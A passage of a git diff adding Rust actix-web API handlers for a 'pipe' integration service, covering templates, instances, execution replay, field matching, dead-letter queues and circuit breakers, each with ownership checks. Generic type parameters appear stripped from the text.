dag_executor::execute_dag( + pg_pool.get_ref(), + &template_id, + pipe_exec.id, + &req.input_data, + ) + .await + { + Ok(result) => Ok(JsonResponse::build() + .set_item(Some(result)) + .ok("DAG executed successfully")), + Err(err) => Err(JsonResponse::<()>::build().bad_request(err)), + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// List Step Executions +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[tracing::instrument(name = "List DAG step executions", skip_all)] +#[get("/{template_id}/dag/executions/{execution_id}/steps")] +pub async fn list_step_executions_handler( + user: web::ReqData>, + path: web::Path<(uuid::Uuid, uuid::Uuid)>, + pg_pool: web::Data, +) -> Result { + let (template_id, execution_id) = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + let step_executions = db::dag::list_step_executions(pg_pool.get_ref(), &execution_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + Ok(JsonResponse::build() + .set_list(step_executions) + .ok("Step executions listed successfully")) +} diff --git a/stacker/stacker/src/routes/pipe/delete.rs b/stacker/stacker/src/routes/pipe/delete.rs new file mode 100644 index 0000000..7665cdd --- /dev/null +++ b/stacker/stacker/src/routes/pipe/delete.rs @@ -0,0 +1,97 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::User; +use actix_web::{delete, web, Responder, Result}; +use serde::Serialize; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Serialize)] +struct DeleteResponse { + deleted: bool, +} + +#[tracing::instrument(name = "Delete pipe template", skip_all)] +#[delete("/templates/{template_id}")] +pub async fn delete_template_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let template_id = path.into_inner(); + + // Verify the template belongs to the requesting user + let template = db::pipe::get_template(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe template: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + match &template { + Some(t) if t.created_by == user.id => {} + Some(_) => { + return Err(JsonResponse::not_found("Pipe template not found")); + } + None => { + return Err(JsonResponse::not_found("Pipe template not found")); + } + } + + let deleted = db::pipe::delete_template(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| { + tracing::error!("Failed to delete pipe template: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + if deleted { + Ok(JsonResponse::build() + .set_item(Some(DeleteResponse { deleted: true })) + .ok("Pipe template deleted successfully")) + } else { + Err(JsonResponse::not_found("Pipe template not found")) + } +} + +#[tracing::instrument(name = "Delete pipe instance", skip_all)] +#[delete("/instances/{instance_id}")] +pub async fn delete_instance_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + + // Verify the instance belongs to the requesting user via deployment ownership + let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe instance: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + match &instance { + Some(i) => { + super::verify_pipe_owner(pg_pool.get_ref(), i, &user.id).await?; + } + None => { + return Err(JsonResponse::not_found("Pipe instance not found")); + } + } + + let deleted = db::pipe::delete_instance(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to delete pipe instance: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + if deleted { + Ok(JsonResponse::build() + .set_item(Some(DeleteResponse { deleted: true })) + .ok("Pipe instance deleted successfully")) + } else { + Err(JsonResponse::not_found("Pipe instance not found")) + } +} diff --git a/stacker/stacker/src/routes/pipe/deploy.rs b/stacker/stacker/src/routes/pipe/deploy.rs new file mode 100644 index 0000000..4757016 --- /dev/null +++ b/stacker/stacker/src/routes/pipe/deploy.rs @@ -0,0 +1,103 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::{PipeInstance, User}; +use actix_web::{post, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +use super::verify_pipe_owner; + +#[derive(Debug, Deserialize)] +pub struct DeployPipeRequest { + pub deployment_hash: String, +} + +/// Deploy (promote) a local pipe instance to a remote deployment. +/// +/// `POST /instances/{instance_id}/deploy` +/// +/// Clones the local pipe's configuration to a new remote instance +/// linked to the specified deployment. +#[tracing::instrument(name = "Deploy local pipe to remote", skip_all)] +#[post("/instances/{instance_id}/deploy")] +pub async fn deploy_pipe_handler( + user: web::ReqData>, + path: web::Path, + req: web::Json, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + let deployment_hash = req.deployment_hash.trim(); + + if deployment_hash.is_empty() { + return Err(JsonResponse::<()>::build().bad_request("deployment_hash is required")); + } + + // 1. Fetch the source (local) instance + let instance_uuid = uuid::Uuid::parse_str(&instance_id) + .map_err(|_| JsonResponse::<()>::build().bad_request("Invalid instance ID format"))?; + + let source_instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_uuid) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe instance: {}", err); + JsonResponse::internal_server_error(err) + })? + .ok_or_else(|| JsonResponse::not_found("Pipe instance not found"))?; + + // 2. Verify ownership + verify_pipe_owner(pg_pool.get_ref(), &source_instance, &user.id).await?; + + // 3. Verify it's a local instance + if !source_instance.is_local { + return Err(JsonResponse::<()>::build().bad_request( + "Only local pipe instances can be deployed. This instance is already remote.", + )); + } + + // 4. Verify target deployment exists and belongs to user + let deployment = db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), deployment_hash) + .await + .map_err(|err| JsonResponse::internal_server_error(err))?; + + match &deployment { + Some(d) if d.user_id.as_deref() == Some(&user.id) => {} + _ => { + return Err(JsonResponse::not_found("Deployment not found")); + } + } + + // 5. Create new remote instance cloned from local + let mut remote = PipeInstance::new( + deployment_hash.to_string(), + source_instance.source_container.clone(), + user.id.clone(), + ); + remote.source_adapter = source_instance.source_adapter.clone(); + remote.target_adapter = source_instance.target_adapter.clone(); + remote.target_container = source_instance.target_container.clone(); + remote.target_url = source_instance.target_url.clone(); + remote.template_id = source_instance.template_id; + remote.field_mapping_override = source_instance.field_mapping_override.clone(); + remote.config_override = source_instance.config_override.clone(); + + let saved = db::pipe::insert_instance(pg_pool.get_ref(), &remote) + .await + .map_err(|err| { + tracing::error!("Failed to deploy pipe instance: {}", err); + JsonResponse::internal_server_error(err) + })?; + + tracing::info!( + source_id = %instance_id, + remote_id = %saved.id, + deployment_hash = %deployment_hash, + "Local pipe deployed to remote by user {}", + user.id + ); + + Ok(JsonResponse::build() + .set_item(Some(saved)) + .created("Pipe deployed to remote successfully")) +} diff --git a/stacker/stacker/src/routes/pipe/executions.rs b/stacker/stacker/src/routes/pipe/executions.rs new file mode 100644 index 0000000..85acc10 --- /dev/null +++ b/stacker/stacker/src/routes/pipe/executions.rs @@ -0,0 +1,230 @@ +use crate::db; +use crate::helpers::{AgentPgPool, JsonResponse}; +use crate::models::pipe::PipeExecution; +use crate::models::{Command, CommandPriority, User}; +use actix_web::{get, post, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +fn build_replay_trigger_params(original: &PipeExecution) -> serde_json::Value { + serde_json::json!({ + "pipe_instance_id": original.pipe_instance_id.to_string(), + "input_data": original.source_data, + "trigger_type": "replay" + }) +} + +#[derive(Debug, Deserialize)] +pub struct PaginationQuery { + #[serde(default = "default_limit")] + pub limit: i64, + #[serde(default)] + pub offset: i64, +} + +fn default_limit() -> i64 { + 20 +} + +/// List executions for a pipe instance (paginated, newest first) +#[tracing::instrument(name = "List pipe executions", skip_all)] +#[get("/instances/{instance_id}/executions")] +pub async fn list_executions_handler( + user: web::ReqData>, + path: web::Path, + query: web::Query, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + + // Fetch instance and verify ownership + let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| JsonResponse::internal_server_error(err))?; + + let instance = match instance { + Some(i) => i, + None => return Err(JsonResponse::not_found("Pipe instance not found")), + }; + + super::verify_pipe_owner(pg_pool.get_ref(), &instance, &user.id).await?; + + let limit = query.limit.clamp(1, 100); + let offset = query.offset.max(0); + + let executions = db::pipe::list_executions(pg_pool.get_ref(), &instance_id, limit, offset) + .await + .map_err(|err| { + tracing::error!("Failed to list pipe executions: {}", err); + JsonResponse::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_list(executions) + .ok("Pipe executions fetched successfully")) +} + +/// Get a single pipe execution by ID +#[tracing::instrument(name = "Get pipe execution", skip_all)] +#[get("/executions/{execution_id}")] +pub async fn get_execution_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let execution_id = path.into_inner(); + + let execution = db::pipe::get_execution(pg_pool.get_ref(), &execution_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe execution: {}", err); + JsonResponse::internal_server_error(err) + })?; + + match execution { + Some(exec) => { + // Verify ownership: execution -> instance -> user + let instance = db::pipe::get_instance(pg_pool.get_ref(), &exec.pipe_instance_id) + .await + .map_err(|err| JsonResponse::internal_server_error(err))?; + + match instance { + Some(i) => { + super::verify_pipe_owner(pg_pool.get_ref(), &i, &user.id).await?; + } + None => return Err(JsonResponse::not_found("Pipe execution not found")), + } + + Ok(JsonResponse::build() + .set_item(Some(exec)) + .ok("Pipe execution fetched successfully")) + } + None => Err(JsonResponse::not_found("Pipe execution not found")), + } +} + +/// Replay a previous pipe execution +#[tracing::instrument(name = "Replay pipe execution", skip_all)] +#[post("/executions/{execution_id}/replay")] +pub async fn replay_execution_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, + agent_pool: web::Data, +) -> Result { + let execution_id = path.into_inner(); + + // Fetch original execution + let original = db::pipe::get_execution(pg_pool.get_ref(), &execution_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe execution for replay: {}", err); + JsonResponse::internal_server_error(err) + })?; + + let original = match original { + Some(exec) => exec, + None => return Err(JsonResponse::not_found("Pipe execution not found")), + }; + + // Verify ownership via instance -> user + let instance = db::pipe::get_instance(pg_pool.get_ref(), &original.pipe_instance_id) + .await + .map_err(|err| JsonResponse::internal_server_error(err))?; + + let instance = match instance { + Some(i) => i, + None => return Err(JsonResponse::not_found("Pipe instance not found")), + }; + + super::verify_pipe_owner(pg_pool.get_ref(), &instance, &user.id).await?; + + // Create a new execution record for the replay + let replay_execution = PipeExecution::new( + original.pipe_instance_id, + original.deployment_hash.clone(), + "replay".to_string(), + user.id.clone(), + ) + .with_replay_of(execution_id); + + let replay_execution = db::pipe::insert_execution(pg_pool.get_ref(), &replay_execution) + .await + .map_err(|err| { + tracing::error!("Failed to create replay execution: {}", err); + JsonResponse::internal_server_error(err) + })?; + + // Enqueue trigger_pipe command (only for remote pipes with a deployment) + let command_id = if let Some(hash) = &instance.deployment_hash { + let trigger_params = build_replay_trigger_params(&original); + + let command_id_str = format!("cmd_{}", uuid::Uuid::new_v4()); + let command = Command::new( + command_id_str.clone(), + hash.clone(), + "trigger_pipe".to_string(), + user.id.clone(), + ) + .with_priority(CommandPriority::Normal) + .with_parameters(trigger_params); + + match db::command::insert(agent_pool.as_ref(), &command).await { + Ok(saved) => { + let _ = db::command::add_to_queue( + agent_pool.as_ref(), + &saved.command_id, + &saved.deployment_hash, + &CommandPriority::Normal, + ) + .await; + Some(saved.command_id) + } + Err(e) => { + tracing::warn!("Failed to enqueue replay trigger_pipe command: {}", e); + None + } + } + } else { + // Local pipe — no agent dispatch + tracing::info!( + "Replay for local pipe instance {}, skipping agent dispatch", + instance.id + ); + None + }; + + Ok(JsonResponse::build() + .set_item(Some(serde_json::json!({ + "execution_id": replay_execution.id, + "replay_of": execution_id, + "command_id": command_id, + "status": replay_execution.status, + }))) + .ok("Replay initiated")) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn replay_trigger_params_mark_replay_trigger_type() { + let execution = PipeExecution::new( + uuid::Uuid::parse_str("11111111-1111-1111-1111-111111111111").unwrap(), + Some("dep-123".to_string()), + "manual".to_string(), + "user-1".to_string(), + ) + .complete_success( + serde_json::json!({ "invoice_id": "inv-replay" }), + serde_json::json!({ "customer_id": "cust-1" }), + serde_json::json!({ "queued": true }), + ); + + let params = build_replay_trigger_params(&execution); + assert_eq!(params["trigger_type"], "replay"); + assert_eq!(params["input_data"]["invoice_id"], "inv-replay"); + } +} diff --git a/stacker/stacker/src/routes/pipe/field_match.rs b/stacker/stacker/src/routes/pipe/field_match.rs new file mode 100644 index 0000000..f12fce2 --- /dev/null +++ b/stacker/stacker/src/routes/pipe/field_match.rs @@ -0,0 +1,73 @@ +use crate::cli::field_matcher::FieldMatcher; +use crate::cli::ml_field_matcher::MlFieldMatcher; +use crate::helpers::JsonResponse; +use crate::models::User; +use actix_web::{post, web, Responder, Result}; +use serde::Deserialize; +use std::sync::Arc; + +#[derive(Deserialize)] +pub struct FieldMatchRequest { + pub source_fields: Vec, + pub target_fields: Vec, + pub threshold: Option, +} + +#[tracing::instrument(name = "Match fields using ML matcher", skip_all)] +#[post("/field-match")] +pub async fn field_match_handler( + _user: web::ReqData>, + body: web::Json, +) -> Result { + let matcher = match body.threshold { + Some(t) => MlFieldMatcher::with_threshold(t), + None => MlFieldMatcher::new(), + }; + + let result = matcher.match_fields(&body.source_fields, &body.target_fields, None); + + // Compute unmatched fields from the mapping + let mapped_sources: Vec = result + .mapping + .as_object() + .map(|m| { + m.values() + .filter_map(|v| v.as_str().map(|s| s.trim_start_matches("$.").to_string())) + .collect() + }) + .unwrap_or_default(); + + let mapped_targets: Vec<&str> = result + .mapping + .as_object() + .map(|m| m.keys().map(|k| k.as_str()).collect()) + .unwrap_or_default(); + + let unmatched_source: Vec<&str> = body + .source_fields + .iter() + .filter(|s| !s.is_empty() && !mapped_sources.contains(&s.to_string())) + .map(|s| s.as_str()) + .collect(); + + let unmatched_target: Vec<&str> = body + .target_fields + .iter() + .filter(|t| !t.is_empty() && !mapped_targets.contains(&t.as_str())) + .map(|t| t.as_str()) + .collect(); + + Ok(JsonResponse::build() + .set_item(Some(serde_json::json!({ + "mapping": result.mapping, + "confidence": result.confidence, + "suggestions": result.suggestions.iter().map(|s| serde_json::json!({ + "target_field": s.target_field, + "expression": s.expression, + "description": s.description, + })).collect::>(), + "unmatched_source": unmatched_source, + "unmatched_target": unmatched_target, + }))) + .ok("Field matching completed")) +} diff --git a/stacker/stacker/src/routes/pipe/get.rs b/stacker/stacker/src/routes/pipe/get.rs new file mode 100644 index 0000000..54627d5 --- /dev/null +++ b/stacker/stacker/src/routes/pipe/get.rs @@ -0,0 +1,64 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::User; +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Get pipe template by ID", skip_all)] +#[get("/templates/{template_id}")] +pub async fn get_template_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let template_id = path.into_inner(); + + let template = db::pipe::get_template(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe template: {}", err); + JsonResponse::internal_server_error(err) + })?; + + match template { + Some(t) => { + // Only allow access to own templates or public ones + if !t.is_public.unwrap_or(false) && t.created_by != user.id { + return Err(JsonResponse::not_found("Pipe template not found")); + } + Ok(JsonResponse::build() + .set_item(Some(t)) + .ok("Pipe template fetched successfully")) + } + None => Err(JsonResponse::not_found("Pipe template not found")), + } +} + +#[tracing::instrument(name = "Get pipe instance by ID", skip_all)] +#[get("/instances/detail/{instance_id}")] +pub async fn get_instance_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + + let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe instance: {}", err); + JsonResponse::internal_server_error(err) + })?; + + match instance { + Some(i) => { + super::verify_pipe_owner(pg_pool.get_ref(), &i, &user.id).await?; + + Ok(JsonResponse::build() + .set_item(Some(i)) + .ok("Pipe instance fetched successfully")) + } + None => Err(JsonResponse::not_found("Pipe instance not found")), + } +} diff --git a/stacker/stacker/src/routes/pipe/list.rs b/stacker/stacker/src/routes/pipe/list.rs new file mode 100644 index 0000000..50155de --- /dev/null +++ b/stacker/stacker/src/routes/pipe/list.rs @@ -0,0 +1,92 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::User; +use actix_web::{get, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct ListTemplatesQuery { + pub source_app_type: Option, + pub target_app_type: Option, + #[serde(default)] + pub public_only: bool, +} + +#[tracing::instrument(name = "List pipe templates", skip_all)] +#[get("/templates")] +pub async fn list_templates_handler( + user: web::ReqData>, + query: web::Query, + pg_pool: web::Data, +) -> Result { + // Show user's own templates + public templates (never other users' private templates) + let templates = db::pipe::list_templates_for_user( + pg_pool.get_ref(), + &user.id, + query.source_app_type.as_deref(), + query.target_app_type.as_deref(), + query.public_only, + ) + .await + .map_err(|err| { + tracing::error!("Failed to list pipe templates: {}", err); + JsonResponse::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_list(templates) + .ok("Pipe templates fetched successfully")) +} + +#[tracing::instrument(name = "List pipe instances for deployment", skip_all)] +#[get("/instances/{deployment_hash}")] +pub async fn list_instances_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let deployment_hash = path.into_inner(); + + // Verify deployment belongs to the requesting user + let deployment = db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|err| JsonResponse::internal_server_error(err))?; + + match &deployment { + Some(d) if d.user_id.as_deref() == Some(&user.id) => {} + _ => { + return Err(JsonResponse::not_found("Deployment not found")); + } + } + + let instances = db::pipe::list_instances(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|err| { + tracing::error!("Failed to list pipe instances: {}", err); + JsonResponse::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_list(instances) + .ok("Pipe instances fetched successfully")) +} + +#[tracing::instrument(name = "List local pipe instances", skip_all)] +#[get("/instances/local")] +pub async fn list_local_instances_handler( + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let instances = db::pipe::list_local_instances_by_user(pg_pool.get_ref(), &user.id) + .await + .map_err(|err| { + tracing::error!("Failed to list local pipe instances: {}", err); + JsonResponse::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_list(instances) + .ok("Local pipe instances fetched successfully")) +} diff --git a/stacker/stacker/src/routes/pipe/mod.rs b/stacker/stacker/src/routes/pipe/mod.rs new file mode 100644 index 0000000..136861d --- /dev/null +++ b/stacker/stacker/src/routes/pipe/mod.rs @@ -0,0 +1,53 @@ +mod create; +pub mod dag; +mod delete; +mod deploy; +mod executions; +mod field_match; +mod get; +mod list; +pub mod resilience; +pub mod stream; +mod update; + +pub use create::*; +pub use delete::*; +pub use deploy::*; +pub use executions::*; +pub use field_match::*; +pub use get::*; +pub use list::*; +pub use update::*; + +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::PipeInstance; +use sqlx::PgPool; + +/// Verify that the requesting user owns the pipe instance. +/// For remote pipes (deployment_hash is Some): checks deployment ownership. +/// For local pipes (deployment_hash is None): checks created_by field. +pub(crate) async fn verify_pipe_owner( + pool: &PgPool, + instance: &PipeInstance, + user_id: &str, +) -> Result<(), actix_web::Error> { + match &instance.deployment_hash { + Some(hash) => { + let deployment = db::deployment::fetch_by_deployment_hash(pool, hash) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + match &deployment { + Some(d) if d.user_id.as_deref() == Some(user_id) => Ok(()), + _ => Err(JsonResponse::::not_found("Pipe instance not found")), + } + } + None => { + if instance.created_by == user_id { + Ok(()) + } else { + Err(JsonResponse::::not_found("Pipe instance not found")) + } + } + } +} diff --git a/stacker/stacker/src/routes/pipe/resilience.rs b/stacker/stacker/src/routes/pipe/resilience.rs new file mode 100644 index 0000000..1410ebb --- /dev/null +++ b/stacker/stacker/src/routes/pipe/resilience.rs @@ -0,0 +1,339 @@ +use std::sync::Arc; + +use actix_web::{delete, get, post, put, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; + +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::resilience::DeadLetterEntry; +use crate::models::User; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Ownership helper +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +async fn verify_instance_owner( + pool: &PgPool, + instance_id: &uuid::Uuid, + user_id: &str, +) -> Result<(), actix_web::Error> { + let instance = db::pipe::get_instance(pool, instance_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + let instance = match instance { + Some(i) => i, + None => return Err(JsonResponse::::not_found("Pipe instance not found")), + }; + + super::verify_pipe_owner(pool, &instance, user_id).await +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DLQ Routes +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Deserialize)] +pub struct CreateDlqRequest { + pub pipe_execution_id: Option, + pub dag_step_id: Option, + pub payload: Option, + pub error: Option, + pub max_retries: Option, +} + +/// List DLQ entries for a pipe instance +#[tracing::instrument(name = "List DLQ entries", skip_all)] +#[get("/instances/{instance_id}/dlq")] +pub async fn list_dlq_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?; + + let entries = db::resilience::list_dlq_entries(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to list DLQ entries: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_list(entries) + .ok("DLQ entries fetched successfully")) +} + +/// Push a failed execution into the DLQ +#[tracing::instrument(name = "Create DLQ entry", skip_all)] +#[post("/instances/{instance_id}/dlq")] +pub async fn create_dlq_handler( + user: web::ReqData>, + path: web::Path, + body: web::Json, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?; + + let error_msg = body.error.clone().unwrap_or_default(); + let mut entry = DeadLetterEntry::new(instance_id, error_msg, user.id.clone()); + + if let Some(exec_id) = body.pipe_execution_id { + entry = entry.with_execution(exec_id); + } + if let Some(step_id) = body.dag_step_id { + entry = entry.with_dag_step(step_id); + } + if let Some(payload) = &body.payload { + entry = entry.with_payload(payload.clone()); + } + if let Some(max) = body.max_retries { + entry = entry.with_max_retries(max); + } + + let saved = db::resilience::insert_dlq_entry(pg_pool.get_ref(), &entry) + .await + .map_err(|err| { + tracing::error!("Failed to create DLQ entry: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_item(Some(saved)) + .created("DLQ entry created successfully")) +} + +/// Get a single DLQ entry +#[tracing::instrument(name = "Get DLQ entry", skip_all)] +#[get("/dlq/{entry_id}")] +pub async fn get_dlq_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let entry_id = path.into_inner(); + + let entry = db::resilience::get_dlq_entry(pg_pool.get_ref(), &entry_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + let entry = match entry { + Some(e) => e, + None => return Err(JsonResponse::::not_found("DLQ entry not found")), + }; + + // Verify ownership + verify_instance_owner(pg_pool.get_ref(), &entry.pipe_instance_id, &user.id).await?; + + Ok(JsonResponse::build() + .set_item(Some(entry)) + .ok("DLQ entry fetched successfully")) +} + +/// Retry a DLQ entry +#[tracing::instrument(name = "Retry DLQ entry", skip_all)] +#[post("/dlq/{entry_id}/retry")] +pub async fn retry_dlq_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let entry_id = path.into_inner(); + + let entry = db::resilience::get_dlq_entry(pg_pool.get_ref(), &entry_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + let entry = match entry { + Some(e) => e, + None => return Err(JsonResponse::::not_found("DLQ entry not found")), + }; + + verify_instance_owner(pg_pool.get_ref(), &entry.pipe_instance_id, &user.id).await?; + + let updated = db::resilience::retry_dlq_entry(pg_pool.get_ref(), &entry_id) + .await + .map_err(|err| { + tracing::error!("Failed to retry DLQ entry: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_item(Some(updated)) + .ok("DLQ entry retried successfully")) +} + +/// Discard a DLQ entry +#[tracing::instrument(name = "Discard DLQ entry", skip_all)] +#[delete("/dlq/{entry_id}")] +pub async fn discard_dlq_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let entry_id = path.into_inner(); + + let entry = db::resilience::get_dlq_entry(pg_pool.get_ref(), &entry_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + let entry = match entry { + Some(e) => e, + None => return Err(JsonResponse::::not_found("DLQ entry not found")), + }; + + verify_instance_owner(pg_pool.get_ref(), &entry.pipe_instance_id, &user.id).await?; + + db::resilience::discard_dlq_entry(pg_pool.get_ref(), &entry_id) + .await + .map_err(|err| { + tracing::error!("Failed to discard DLQ entry: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::::build().ok("DLQ entry discarded successfully")) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Circuit Breaker Routes +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Deserialize)] +pub struct UpdateCircuitBreakerRequest { + pub failure_threshold: Option, + pub recovery_timeout_seconds: Option, + pub half_open_max_requests: Option, +} + +/// Get circuit breaker status for a pipe instance +#[tracing::instrument(name = "Get circuit breaker status", skip_all)] +#[get("/instances/{instance_id}/circuit-breaker")] +pub async fn get_circuit_breaker_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?; + + let cb = db::resilience::get_or_create_circuit_breaker(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to get circuit breaker: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_item(Some(cb)) + .ok("Circuit breaker status fetched")) +} + +/// Update circuit breaker configuration +#[tracing::instrument(name = "Update circuit breaker config", skip_all)] +#[put("/instances/{instance_id}/circuit-breaker")] +pub async fn update_circuit_breaker_handler( + user: web::ReqData>, + path: web::Path, + body: web::Json, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?; + + let threshold = body.failure_threshold.unwrap_or(5); + let timeout = body.recovery_timeout_seconds.unwrap_or(60); + let half_open = body.half_open_max_requests.unwrap_or(3); + + if threshold < 1 { + return Err(JsonResponse::<()>::build().bad_request("failure_threshold must be >= 1")); + } + + let cb = db::resilience::update_circuit_breaker_config( + pg_pool.get_ref(), + &instance_id, + threshold, + timeout, + half_open, + ) + .await + .map_err(|err| { + tracing::error!("Failed to update circuit breaker config: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_item(Some(cb)) + .ok("Circuit breaker config updated")) +} + +/// Record a circuit breaker failure +#[tracing::instrument(name = "Record circuit breaker failure", skip_all)] +#[post("/instances/{instance_id}/circuit-breaker/failure")] +pub async fn record_failure_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?; + + let cb = db::resilience::record_circuit_breaker_failure(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to record failure: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_item(Some(cb)) + .ok("Failure recorded")) +} + +/// Record a circuit breaker success +#[tracing::instrument(name = "Record circuit breaker success", skip_all)] +#[post("/instances/{instance_id}/circuit-breaker/success")] +pub async fn record_success_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?; + + let cb = db::resilience::record_circuit_breaker_success(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to record success: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_item(Some(cb)) + .ok("Success recorded")) +} + +/// Reset circuit breaker to closed state +#[tracing::instrument(name = "Reset circuit breaker", skip_all)] +#[post("/instances/{instance_id}/circuit-breaker/reset")] +pub async fn reset_circuit_breaker_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?; + + let cb = db::resilience::reset_circuit_breaker(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to reset circuit breaker: {}", err); + JsonResponse::::internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_item(Some(cb)) + .ok("Circuit breaker reset to closed")) +} diff --git a/stacker/stacker/src/routes/pipe/stream.rs 